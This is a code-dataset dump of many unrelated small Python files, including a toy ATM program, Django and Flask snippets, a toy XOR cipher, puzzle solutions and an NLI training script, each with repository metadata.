self._rated_sum = rated_sum\n\n\ndef call(*args, **kwargs):\n # 参数示例\n # param = {\n # 'target_output': 24,\n # 'devices': [\n # { # device 1\n # 'rated_output': 8,\n # 'load_min': 30,\n # 'load_max': 85,\n # 'cost_data': [] # 能效曲线散点\n # },\n # { # device 2\n # 'rated_output': 6,\n # 'load_min': 35,\n # 'load_max': 85,\n # 'cost_data': [] # 能效曲线散点\n # }\n # ],\n # }\n param = kwargs.get('param')\n if param is None:\n raise ParamError('Missing required parameter in the JSON body: param')\n\n for p in ['target_output', 'devices']:\n if p not in param.keys():\n raise ParamError('Required parameter \\'%s\\' not found in \\'param\\'' % p)\n\n if len(param['devices']) == 0:\n raise ParamError('Parameter \\'devices\\' is empty.')\n\n for each in param['devices']:\n for k in ['rated_output', 'load_min', 'load_max', 'cost_data']:\n if k not in each.keys():\n raise ParamError('Required parameter \\'%s\\' not found in item of \\'devices\\'' % k)\n\n s = MultiDeviceLoadLinprog1D(\n devices=param['devices'],\n target_output=param['target_output'],\n schedule_num=param.get('schedule_num', 5),\n )\n return s.get_result()\n","sub_path":"algorithm/optimization/multi_device_load_linprog_1d.py","file_name":"multi_device_load_linprog_1d.py","file_ext":"py","file_size_in_byte":7267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"289002465","text":"class Atm():\n\tusers = {'1602':{'Name':'Nathan','Account':12435,'Mobile':9132458657,'Balance':100000},\n\t\t'1202':{'Name':'Rebecca','Account':17643,'Mobile':9243564782,'Balance':200000},\n\t\t'1234':{'Name':'Pratik','Account':14567,'Mobile':9543673456,'Balance':300000},\n\t\t'5678':{'Name':'Aanchal','Account':11287,'Mobile':9164367894,'Balance':400000},\n\t\t'9101':{'Name':'Raj','Account':12875,'Mobile':7564829457,'Balance':500000}}\n\t\n\tdef information(self,pin):\n\t\tprint('Name:',self.users[pin]['Name'])\n\t\tprint('Account:',self.users[pin]['Account'])\n\t\tprint('Mobile:',self.users[pin]['Mobile'])\n\t\tprint('Balance:',self.users[pin]['Balance'])\n\n\tdef pinchange(self,pin):\n\t\tnewpin = input(\"Enter New PIN\")\n\t\tself.users[newpin] = self.users[pin]\n\t\tprint(\"PIN changed Successfully\")\n\t\tdel self.users[pin]\n\t\treturn newpin\n\n\tdef balance(self,pin):\n\t\tprint(\"Your balance is\",self.users[pin]['Balance'])\n\n\tdef withdrawal(self,pin):\n\t\tamount = float(input(\"Enter the amount you wish to withdraw: \"))\n\t\tbalance = float(self.users[pin]['Balance'])\n\t\tif (balance - amount) < 0:\n\t\t\tprint(\"You do not have enough balance to proceed with the transaction,Please check your account balance.\")\n\t\telse:\n\t\t\tprint(\"Please Wait for Cash and remove your card.....\")\n\n\tdef deposit(self):\n\t\tprint(\"Please enter the cash and press Enter\")\n\t\tinput()\n\n\tdef pin_validation(self,pin):\n\t\tvalidated = False\n\t\tif pin in self.users.keys():\n\t\t\tvalidated = True\n\t\treturn validated\n\n\nif __name__ == '__main__':\n\twhile True:\n\t\tcount = 0\n\t\ti = 3\n\t\tpin = input(\"Enter your PIN: \")\n\t\tuser = Atm()\n\t\tvalidate = user.pin_validation(pin)\n\t\tif validate:\n\t\t\ttry:\n\t\t\t\top = input(''' \nPress a number according to your operation required:\n\t1.Account Information.\n\t2.PIN Change\n\t3.Balance Inquiry\n\t4.Withdrawal\n\t5.Deposit\n\t6.Exit\nYour Option: ''')\n\t\t\t\tif op == '1':\n\t\t\t\t\tuser.information(pin)\n\t\t\t\telif op == '2':\n\t\t\t\t\tpin = user.pinchange(pin)\n\t\t\t\telif op == '3':\n\t\t\t\t\tuser.balance(pin)\n\t\t\t\telif op == '4':\n\t\t\t\t\tuser.withdrawal(pin)\n\t\t\t\telif op == '5':\n\t\t\t\t\tuser.deposit()\n\t\t\t\telif op == '6':\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Wrong input,please select valid option\")\n\t\t\texcept Exception as e:\n\t\t\t\tprint(\"Account Error:\",e)\n\t\telse:\n\t\t\tcount +=1\n\t\t\tif count == 3:\n\t\t\t\tprint(\"Account blocked,please try again later.\")\n\t\t\telse:\n\t\t\t\tprint(\"Wrong pin entered, Attempts remaining {}\".format(i-count))","sub_path":"PYTHON/trial1.py","file_name":"trial1.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"323460575","text":"from Part2.produkt import Product, SpecialProduct\n\n\nproduct1 = Product('Produkt 1', 100, 0.25)\nproduct1.description = \"En fin produkt\"\n\nproduct2 = Product('Produkt 2', 500, 0.25)\n\npriceInclVat1 = product1.price_incl_vat()\npriceInclVat2 = product2.price_incl_vat()\n\nprint(\"{priceInclVat}kr, {descr}\".format(priceInclVat=priceInclVat1, descr=product1.description))\nprint(\"{priceInclVat}kr\".format(priceInclVat=priceInclVat2))\n\n\nproduct3 = SpecialProduct('Produkt 3', 2, 0.25)\n\npriceInclVat3 = product3.calc_price_by_length(10)\n\nprint(priceInclVat3['priceInclVat'])\n\n\n","sub_path":"Part2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"458864416","text":"from rest_framework import serializers\n\nfrom .models import (\n Participant,\n ParticipantAction,\n ParticipantProfileEntry,\n ActionLog)\n\n\nclass ParticipantActionSerializer(serializers.ModelSerializer):\n action_details = serializers.SerializerMethodField()\n\n class Meta:\n model = ParticipantAction\n fields = ('id', 'action_details',)\n\n def get_action_details(self, participant_action):\n log_entries_queryset = ActionLog.objects.filter(action=participant_action)\n data = {}\n\n for entry in log_entries_queryset:\n data[entry.name] = entry.value\n\n return data\n\n\nclass ParticipantProfileEntrySerializer(serializers.ModelSerializer):\n question = serializers.SerializerMethodField(read_only=True)\n\n class Meta:\n model = ParticipantProfileEntry\n fields = ('id', 'question', 'answer',)\n\n def get_question(self, profile_entry):\n return profile_entry.question\n\n\nclass ParticipantSerializer(serializers.ModelSerializer):\n actions = serializers.SerializerMethodField(read_only=True)\n profile = ParticipantProfileEntrySerializer(read_only=True, many=True)\n\n class Meta:\n model = Participant\n fields = ('id', 'exercise', 'profile', 'actions',)\n\n def get_actions(self, participant):\n participant_actions_queryset = ParticipantAction.objects.filter(participant=participant)\n return ParticipantActionSerializer(participant_actions_queryset, many=True).data\n","sub_path":"participant/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"207585738","text":"import random\nplayer1 = input(\"Enter a name for Player1: \")\n\nuser_lives = 0\nlives = 0\nchoice=None \ngame = ['Rock','Paper','Scissor']\n\ndef changeChoice(choice):\n newChoice = 0 \n newChoice = random.randint(1,3)\n if (newChoice==choice) :\n newChoice = changeChoice(choice)\n return (newChoice)\n\nwhile (1):\n width = 30\n\n if lives==3 :\n print (\"Computer Wins!!\")\n break\n elif user_lives==3:\n print (player1,\" Wins!!\")\n break\n else:\n choice = 0\n user_choice = input(\"\\nEnter:\\n1 for Rock,\\n2 for Paper,\\n3 for Scissors\\n\")\n choice = random.randint(1,3)\n\n if user_choice not in ['1','2','3']:\n print (\"Invalid choice\")\n continue \n\n user_choice = int(user_choice)\n if choice==user_choice:\n choice = changeChoice(choice)\n\n print (\"\\nComputer's choice:%s and %s's choice:%s \\n\" % (game[choice-1].upper(), player1, game[user_choice-1].upper()))\n if choice == (user_choice + 1):\n lives+=1\n elif user_choice == (choice + 1):\n user_lives+=1\n elif user_choice < choice:\n user_lives+=1\n elif choice < user_choice:\n lives+=1\n elif user_choice == choice:\n pass\n else:\n print (\"Something wrong\")\n print (\"{}| {}\".format(\"Computer\".ljust(width),player1.ljust(width)))\n print (\"{}| {}\".format(str(lives).ljust(width),str(user_lives).ljust(width)))\n\n","sub_path":"RockPaperGame.py","file_name":"RockPaperGame.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"550321096","text":"# -*- coding=utf-8 -*-\nimport numbers\n\n\nclass Solution:\n def GetUglyNumber_Solution(self, index):\n assert isinstance(index, numbers.Integral)\n if index < 1:\n return None\n\n ugly = [1]\n while len(ugly) <= index:\n for item in ugly:\n if item * 2 > ugly[-1]:\n break\n p1 = item * 2\n for item in ugly:\n if item * 3 > ugly[-1]:\n break\n p2 = item * 3\n for item in ugly:\n if item * 5 > ugly[-1]:\n break\n p3 = item * 5\n ugly.append(min(p1, p2, p3))\n\n return ugly[-1]\n\n\nif __name__ == \"__main__\":\n n = [2, 3, 4, 5, 6, 7]\n ex = Solution()\n for item in n:\n print(ex.GetUglyNumber_Solution(item))\n","sub_path":"49_get_nth_ugly_number.py","file_name":"49_get_nth_ugly_number.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"638011664","text":"class queue:\r\n def __init__(self) -> None:\r\n self.item = []\r\n \r\n def is_empty(self):\r\n if self.item == []:\r\n return \"This is empty\"\r\n return \"This is not empty\"\r\n\r\n def enqueue(self, add_item):\r\n self.item.append(add_item)\r\n\r\n def dequeue(self):\r\n if len(self.item) < 1:\r\n return None\r\n return self.item.pop(0)\r\n \r\n def size(self):\r\n return len(self.item)\r\n\r\n\r\n def output(self):\r\n print(self.item)\r\n\r\nx = queue()\r\nx.enqueue(10)\r\nx.enqueue(20)\r\nx.enqueue(30)\r\nx.enqueue(40)\r\nx.enqueue(50)\r\n\r\n\r\nx.output()\r\n\r\nx.dequeue()\r\nx.dequeue()\r\n\r\nx.output()\r\n\r\nprint(x.size())\r\n\r\nprint(x.is_empty())\r\n\r\n\r\n\r\n\r\n\r\ndef create_queue():\r\n item = []\r\n return item\r\n\r\ndef is_empty(item):\r\n if len(item) == []:\r\n return \"This is empty\"\r\n return \"This is not empty\"\r\n\r\ndef enqueue(item, value):\r\n return item.append(value)\r\n\r\ndef dequeue(item):\r\n return item.pop(0)\r\n\r\ndef size(item):\r\n return len(item)\r\n\r\n\r\nx = create_queue()\r\nenqueue(x, 10)\r\nenqueue(x, 20)\r\nenqueue(x, 30)\r\nenqueue(x, 40)\r\nenqueue(x, 50)\r\nprint(x)\r\n\r\ndequeue(x)\r\ndequeue(x)\r\ndequeue(x)\r\nprint(x)\r\n\r\nprint(\"size is: \",size(x))\r\nprint(is_empty(x))\r\n","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"95990757","text":"import click\nfrom datetime import datetime\n\nfrom lb.modules.alsa import get_routes\n\n\n@click.command()\n@click.option(\n \"--src\", prompt=\"Source of trip\", help=\"From where you wanna start your trip.\"\n)\n@click.option(\"--dst\", prompt=\"Destination of trip\", help=\"To where you wanna go\")\n@click.option(\"--when\", prompt=\"When\", help=\"When you wanna leave\")\ndef click_routes(src, dst, when):\n when_parsed = datetime.strptime(when, \"%Y/%m/%d\")\n routes = get_routes(src, dst, when_parsed)\n click.echo(routes)\n\n\nif __name__ == \"__main__\":\n \"\"\"CLI using click library to make our life easier.\"\"\"\n click_routes()\n","sub_path":"lb/start_up/click_cli.py","file_name":"click_cli.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"61766027","text":"import sys\nimport random as rdm\nimport bitstring as bsg\n\n# !prend 2 liste de bits en entrée\n# ?Pour l'instant on travail avec des char\n# renvoie le message chiffré entre A et K = C \ndef cipherOtp( message, keyMessage):\n\n cipher = []\n\n print (str(message))\n\n\n for (mes, key) in zip(message, keyMessage):\n cipher.append( chr(ord(mes) ^ ord(key)))\n \n\n #cipher = \"\".join(cipher)\n\n return cipher\n\ndef decipherOtp( message, keyMessage):\n cipher = []\n\n print (str(message))\n\n\n for (mes, key) in zip(message, keyMessage):\n cipher.append( chr(ord(mes) ^ ord(key)))\n \n\n #cipher = \"\".join(cipher)\n\n return cipher\n\n# genere une cle \"aleatoire\" de longueur n\n# !devrais retourner des bytes\ndef generateKey(n :int):\n result = []\n \n for i in range(n):\n result.append(rdm.randint(0, 4096))\n\n result = \"\".join(result)\n\n return result\n\ndef convertIntoBits(toConvert):\n print (type(toConvert))\n\n if type(toConvert) is not str:\n return toConvert\n result = bytearray()\n for i in toConvert:\n #result = ''.join(format(ord(i), 'b') )\n result.append(ord(i))\n #result.append(ord(i))\n\n return result\n\n\ninputText = \"This is street\"\n\n#inputText = convertIntoBits(inputText)\nautre = \"xvhe uw nopzzz\"\n#autre = convertIntoBits(\"xvhe uw nopzzz\")\n\n#print (inputText)\n\ntest = cipherOtp(inputText, autre)\nprint(test)\n\n\n\n#file = open(\"./file.txt\", \"wb+\")\n\"\"\"\nnum = [76, 77, 78, 79]\narray = bytearray(num)\nprint (array)\nfile.write(array)\nfile.close()\n\nwith open(\"./file.txt\", 'rb') as file:\n num = file.read()\n print (num[0])\n test = num.hex()\n test = convertIntoBits(test)\n print(test[0])\n #test = '\\x01' ^ test[0]\nfile.close()\n\"\"\"","sub_path":"intro_secu/otp_cipher.py","file_name":"otp_cipher.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"586411759","text":"from flask import Flask, render_template, request, redirect, abort\n\napp = Flask(__name__)\n\n\n@app.route('/')\n@app.route('/')\ndef index(name=None):\n print(name)\n if not name and not request.values.get('name', None):\n return abort(500)\n else:\n name = name or request.values.get('name')\n return render_template('index.html', title=\"my flask app\", name=name)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"227848622","text":"\n\nfrom xai.brain.wordbase.nouns._cartoonist import _CARTOONIST\n\n#calss header\nclass _CARTOONISTS(_CARTOONIST, ):\n\tdef __init__(self,): \n\t\t_CARTOONIST.__init__(self)\n\t\tself.name = \"CARTOONISTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"cartoonist\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_cartoonists.py","file_name":"_cartoonists.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"294898691","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.12-intel/egg/snipsskillscore/usb_utils.py\n# Compiled at: 2017-09-29 14:28:00\n\"\"\" USB utilities. \"\"\"\nfrom __future__ import absolute_import\nimport os, re, subprocess, usb.core, usb.util\n\nclass USB:\n\n class Device:\n unknown, respeaker, conexant = range(3)\n\n @staticmethod\n def get_boards():\n all_devices = usb.core.find(find_all=True)\n if not all_devices:\n return USB.Device.unknown\n for board in all_devices:\n try:\n devices = board.product.lower()\n if devices.find('respeaker') >= 0:\n return USB.Device.respeaker\n if devices.find('conexant') >= 0:\n return USB.Device.conexant\n except Exception as e:\n continue\n\n return USB.Device.unknown\n\n @staticmethod\n def get_usb_led_device():\n devices = USB.lsusb()\n if not devices:\n return None\n else:\n devices = devices.lower()\n if devices.find('respeaker') >= 0:\n return USB.Device.respeaker\n if devices.find('conexant') >= 0:\n return USB.Device.conexant\n return USB.Device.unknown\n\n @staticmethod\n def lsusb():\n FNULL = open(os.devnull, 'w')\n try:\n return subprocess.check_output(['lsusb'])\n except:\n try:\n return subprocess.check_output(['system_profiler', 'SPUSBDataType'])\n except:\n return\n\n return","sub_path":"pycfiles/snipsskillscore-0.1.5.9.5-py2.7/usb_utils.py","file_name":"usb_utils.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"115152165","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib import messages\nimport re\nimport subprocess\n\n\ndef check_ip(ip):\n p = re.compile('^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$')\n if p.match(ip):\n return True\n else:\n return False\n\n\ndef render_message(request, message_error=False, msg=''):\n if message_error:\n messages.add_message(request, messages.ERROR, msg)\n else:\n messages.add_message(request, messages.SUCCESS, msg)\n\n\ndef runshell(command, stdinstr=''):\n \"\"\"exec shell\"\"\"\n p = subprocess.Popen(command, shell=True, universal_newlines=True, stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n stdoutdata, stderrdata = p.communicate(stdinstr)\n p.stdin.close()\n return p.returncode, stdoutdata, stderrdata\n\n\ndef paging(page, data, size):\n \"\"\"\n 分页\n :param page:\n :param data:\n :param size:\n :return:\n \"\"\"\n # 分页----开始\n paginator = Paginator(data, size)\n try:\n data = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n data = paginator.page(1)\n page = 1\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n data = paginator.page(paginator.num_pages)\n page = paginator.num_pages\n\n # 分页范围\n after_range_num = 5 # 当前页前显示5页\n before_range_num = 4 # 当前页后显示4页\n if page >= after_range_num:\n page_range = paginator.page_range[page - after_range_num:page + before_range_num]\n else:\n page_range = paginator.page_range[0:int(page) + before_range_num]\n # 分页----结束\n return data, page_range","sub_path":"library/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"311564238","text":"# 946. Validate Stack Sequences\n\n# Given two sequences pushed and popped with distinct values,\n# return true if and only if this could have been the result of a sequence of push and pop operations on an initially empty stack.\n\n\n# Example 1:\n\n# Input: pushed = [1,2,3,4,5], popped = [4,5,3,2,1]\n# Output: true\n# Explanation: We might do the following sequence:\n# push(1), push(2), push(3), push(4), pop() -> 4,\n# push(5), pop() -> 5, pop() -> 3, pop() -> 2, pop() -> 1\n\n# Example 2:\n\n# Input: pushed = [1,2,3,4,5], popped = [4,3,5,1,2]\n# Output: false\n# Explanation: 1 cannot be popped before 2.\n\n\n# Note:\n\n# 0 <= pushed.length == popped.length <= 1000\n# 0 <= pushed[i], popped[i] < 1000\n# pushed is a permutation of popped.\n# pushed and popped have distinct values.\n\n\nclass ValidateStackSequences:\n\n def doit(self, pushed, popped):\n\n i, j = 0, 0\n buff = []\n\n while i < len(pushed):\n\n if not buff or buff[-1] != popped[j]:\n buff.append(pushed[i])\n\n while buff and j < len(popped) and buff[-1] == popped[j]:\n buff.pop()\n j += 1\n\n i += 1\n\n return not buff and j == len(popped) and i == len(pushed)\n\n \"\"\"\n Approach 1: Greedy\n Intuition\n\n We have to push the items in order, so when do we pop them?\n\n If the stack has say, 2 at the top, then if we have to pop that value next, we must do it now. That's because any subsequent push will make the top of the stack different from 2, and we will never be able to pop again.\n\n Algorithm\n\n For each value, push it to the stack.\n\n Then, greedily pop values from the stack if they are the next values to pop.\n\n At the end, we check if we have popped all the values successfully.\n\n Complexity Analysis\n\n Time Complexity: O(N), where NN is the length of pushed and popped.\n\n Space Complexity: O(N).\n \"\"\"\n\n def doit(self, pushed, popped):\n j = 0\n stack = []\n for x in pushed:\n stack.append(x)\n while stack and j < len(popped) and stack[-1] == popped[j]:\n stack.pop()\n j += 1\n\n return j == len(popped)\n\n\nif __name__ == '__main__':\n\n res = ValidateStackSequences().doit(\n pushed=[1, 2, 3, 4, 5], popped=[4, 5, 3, 2, 1]) # true\n\n res = ValidateStackSequences().doit(\n pushed=[1, 2, 3, 4, 5], popped=[4, 3, 5, 1, 2]) # false\n\n pass\n","sub_path":"PythonLeetcode/leetcodeM/946_ValidateStackSequences.py","file_name":"946_ValidateStackSequences.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"259718670","text":"#!/usr/bin/env python\nimport re\n\npuzzleinput = 'day14.txt'\nrace_length = 2503\ndeer_fields = ['name', 'speed', 'fly_time', 'rest_time', \\\n 'state', 'counter','distance', 'points']\nregex = r'(\\S*).{9}(\\d+).{10}(\\d+).{33}(\\d+).{9}'\n\nreindeer = list()\nwith open(puzzleinput) as f:\n for reindeer_text in f:\n d = list(re.match(regex, reindeer_text).groups())\n d = [d[0], int(d[1]), int(d[2]), int(d[3])]\n deer = dict(zip(deer_fields, d + ['flying', 0, 0, 0]))\n reindeer.append(deer)\n\nfor i in range(race_length):\n for r in reindeer:\n if r['state'] == 'flying':\n if r['counter'] >= r['fly_time']:\n r['counter'] = 1\n r['state'] = 'resting'\n else:\n r['counter'] += 1\n r['distance'] += r['speed']\n else:\n if r['counter'] >= r['rest_time']:\n r['counter'] = 1\n r['state'] = 'flying'\n r['distance'] += r['speed']\n else:\n r['counter'] += 1\n\n current_lead_distance = 0\n for r in reindeer:\n if r['distance'] > current_lead_distance:\n current_lead_distance = r['distance']\n for r in reindeer:\n if r['distance'] == current_lead_distance:\n r['points'] += 1\n\nmax_distance = 0\nmax_points = 0\nfor r in reindeer:\n max_distance = max(max_distance, r['distance'])\n max_points = max(max_points, r['points'])\nprint('part 1: %d' % max_distance)\nprint('part 2: %d' % max_points)\n","sub_path":"day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"342451122","text":"import json_lines\r\nimport tensorflow as tf\r\nimport gensim\r\nimport numpy as np\r\nimport jsonlines\r\nimport pickle\r\nfrom random import shuffle\r\n\r\n# Defining constants\r\nbatch_size = 100\r\nembedding_dim = 300\r\nclass_num = 3\r\nepochs = 1\r\nlearning_rate = 10e-3\r\ntest_size = 10000\r\ndev_size = 10000\r\nsentence_length = 100\r\nhidden_size = 100\r\n\r\n# Defining file names\r\n# train_data_file_name = \"./resources/snli_1.0_dev.jsonl\"\r\ntrain_data_file_name = \"./resources/all.jsonl\"\r\nvocab_file_name = \"./resources/vocab_dict.pkl\"\r\n\r\n# Loading vocabulary dictionary\r\nvocab_file = open(vocab_file_name, 'rb')\r\nvocab_dict = pickle.load(vocab_file)\r\nvocab_file.close()\r\n\r\n\r\n# Data set representation\r\nclass Dataset:\r\n def __init__(self, file_name):\r\n self.file = json_lines.reader(open(file_name))\r\n\r\n def next_batch(self, batch_size):\r\n file = self.file\r\n labels = []\r\n inputs_p = []\r\n inputs_h = []\r\n cur = 0\r\n for sample in file:\r\n\r\n sentence1 = np.zeros(sentence_length)\r\n sentence2 = np.zeros(sentence_length)\r\n label_text = sample.get(\"gold_label\")\r\n if label_text == '-':\r\n continue\r\n\r\n pos = 0\r\n for word in map(str.lower, sample.get(\"sentence1\").strip(\".\").split()):\r\n if word in vocab_dict:\r\n sentence1[pos] = vocab_dict[word]\r\n pos += 1\r\n\r\n pos = 0\r\n for word in map(str.lower, sample.get(\"sentence2\").strip(\".\").split()):\r\n if word in vocab_dict:\r\n sentence2[pos] = vocab_dict[word]\r\n pos += 1\r\n\r\n inputs_p.append(sentence1)\r\n inputs_h.append(sentence2)\r\n\r\n label = np.zeros((3, 1))\r\n if label_text == 'neutral':\r\n label[0] = 1\r\n elif label_text == 'contradiction':\r\n label[1] = 1\r\n elif label_text == 'entailment':\r\n label[2] = 1\r\n\r\n labels.append(label)\r\n cur += 1\r\n if cur >= batch_size:\r\n break\r\n\r\n return np.asarray(inputs_p), np.asarray(inputs_h), np.asarray(labels)\r\n\r\n\r\n# tf Graph Input\r\nx = tf.placeholder(tf.float32, [None, 2 * sentence_length])\r\ny = tf.placeholder(tf.int32, [None, class_num])\r\n\r\n# Set model weights\r\nW = tf.Variable(tf.random_normal([2 * sentence_length, hidden_size], name=\"weights1\"))\r\nb = tf.Variable(tf.random_normal([hidden_size]), name=\"bias1\")\r\n\r\n\r\nW2 = tf.Variable(tf.random_normal([hidden_size, class_num], name=\"weights2\"))\r\nb2 = tf.Variable(tf.random_normal([class_num]), name=\"bias2\")\r\n\r\n# Prediction\r\nz1 = tf.matmul(x, W) + b\r\nz = tf.matmul(z1, W2) + b2\r\n\r\npred = tf.nn.sigmoid(z)\r\n\r\n# Loss and optimizer\r\nloss = tf.losses.softmax_cross_entropy(y, pred)\r\ntraining_op = tf.train.AdamOptimizer(learning_rate).minimize(loss)\r\n\r\n# Test model\r\ncorrect_prediction = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\r\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\r\n\r\n# Add summary for tensorboard\r\n#tf.summary.scalar(\"loss\", loss)\r\n#merge_summary_op = tf.summary.merge_all()\r\n\r\n# Create session\r\nsess = tf.Session()\r\n#writer = tf.summary.FileWriter(\"./graph\", sess.graph)\r\nsess.run(tf.global_variables_initializer())\r\n\r\n# Get train file length and batch count\r\ncount = 0\r\ndata_for_counting = Dataset(train_data_file_name)\r\nfor sample in data_for_counting.file:\r\n if sample.get(\"gold_label\") == '-':\r\n continue\r\n count += 1\r\ntrain_size = count\r\nbatch_num = 0\r\nif train_size % train_size == 0:\r\n batch_num = int(train_size / batch_size)\r\nelse:\r\n batch_num = int(train_size / batch_size) + 1\r\n\r\n# Training\r\nfor epoch_i in range(epochs):\r\n data = Dataset(train_data_file_name)\r\n total_loss = 0\r\n for i in range(batch_num):\r\n inputs_p, inputs_h, labels = data.next_batch(batch_size)\r\n temp = np.concatenate((inputs_p, inputs_h), 1)\r\n input_batch = temp.reshape(-1, 2 * sentence_length)\r\n target_batch = labels.reshape(-1, class_num)\r\n _, loss_batch = sess.run([training_op, loss], feed_dict={x: input_batch, y: target_batch})\r\n #writer.add_summary(summary, epoch_i * batch_num + i)\r\n total_loss += loss_batch\r\n\r\n # Calculate accuracy\r\n if i == batch_num - 1:\r\n print('Accuracy ', accuracy.eval({x: input_batch, y: target_batch}, session=sess))\r\n\r\n print(\"loss at epoch \", epoch_i, \": \", total_loss / train_size)\r\n\r\n # if epoch_i % 10 == 0:\r\n # saver.save(sess, \"./model/trial\" + str(epoch_i) + \".ckpt\")\r\n\r\n# Saving variables\r\nnp.save('weights1', sess.run(tf.trainable_variables()[0]))\r\nnp.save('bias1', sess.run(tf.trainable_variables()[1]))\r\n\r\nnp.save('weights2', sess.run(tf.trainable_variables()[2]))\r\nnp.save('bias2', sess.run(tf.trainable_variables()[3]))\r\n\r\n# Recording uncertainty with index\r\nuncertainty_list_0 = list()\r\nuncertainty_list_1 = list()\r\nuncertainty_list_2 = list()\r\ndata = Dataset(train_data_file_name)\r\nfor index in range(train_size):\r\n input_p, input_h, label = data.next_batch(1)\r\n input_embedding = np.concatenate((input_p, input_h), 1)\r\n predictions = sess.run(pred, feed_dict={x: input_embedding})\r\n predictions = predictions.reshape(class_num, 1)\r\n class_index = label.argmax()\r\n uncertainty = 1 - predictions[class_index, 0]\r\n if label[0][0] == 1:\r\n uncertainty_list_0.append((index, uncertainty))\r\n elif label[0][1] == 1:\r\n uncertainty_list_1.append((index, uncertainty))\r\n elif label[0][2] == 1:\r\n uncertainty_list_2.append((index, uncertainty))\r\n else:\r\n print(\"The data has no label!\")\r\n\r\n# Sort according to uncertainty\r\nuncertainty_list_0.sort(key=lambda t: t[1], reverse=True)\r\nuncertainty_list_1.sort(key=lambda t: t[1], reverse=True)\r\nuncertainty_list_2.sort(key=lambda t: t[1], reverse=True)\r\n\r\n# Divide list\r\ndiv_point_1 = test_size // 3\r\ndiv_point_2 = test_size // 3 * 2\r\n\r\ntest_list = list(uncertainty_list_0[0: div_point_1])\r\ntest_list.extend(uncertainty_list_1[0: div_point_1])\r\ntest_list.extend(uncertainty_list_2[0: div_point_1])\r\nshuffle(test_list)\r\n\r\ndev_list = list(uncertainty_list_0[div_point_1: div_point_2])\r\ndev_list.extend(uncertainty_list_1[div_point_1: div_point_2])\r\ndev_list.extend(uncertainty_list_2[div_point_1: div_point_2])\r\nshuffle(dev_list)\r\n\r\ntrain_list = list(uncertainty_list_0[div_point_2:])\r\ntrain_list.extend(uncertainty_list_1[div_point_2:])\r\ntrain_list.extend(uncertainty_list_2[div_point_2:])\r\nshuffle(train_list)\r\n\r\n\r\nlists = dict()\r\nlists[\"test_list\"] = test_list\r\nlists[\"dev_list\"] = dev_list\r\nlists[\"train_list\"] = train_list\r\n\r\nf = open(\"lists.pkl\", \"wb\")\r\npickle.dump(lists, f)\r\nf.close()\r\n\r\n","sub_path":"rearranging_even_no_embedding_mlp.py","file_name":"rearranging_even_no_embedding_mlp.py","file_ext":"py","file_size_in_byte":6703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"470744379","text":"class Solution:\n def removeKdigits(self, num, k):\n stack = []\n for c in num:\n while k and stack and stack[-1] > c:\n stack.pop()\n k -= 1\n stack.append(c)\n\n return ''.join(stack[:-k or None]).lstrip('0') or '0'\n","sub_path":"402-Remove-K-Digits/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"312777834","text":"# coding=utf-8\n\nfrom openerp import SUPERUSER_ID,api\n#from openerp.osv import fields, osv\nimport openerp.addons.decimal_precision as dp\nimport datetime\nimport 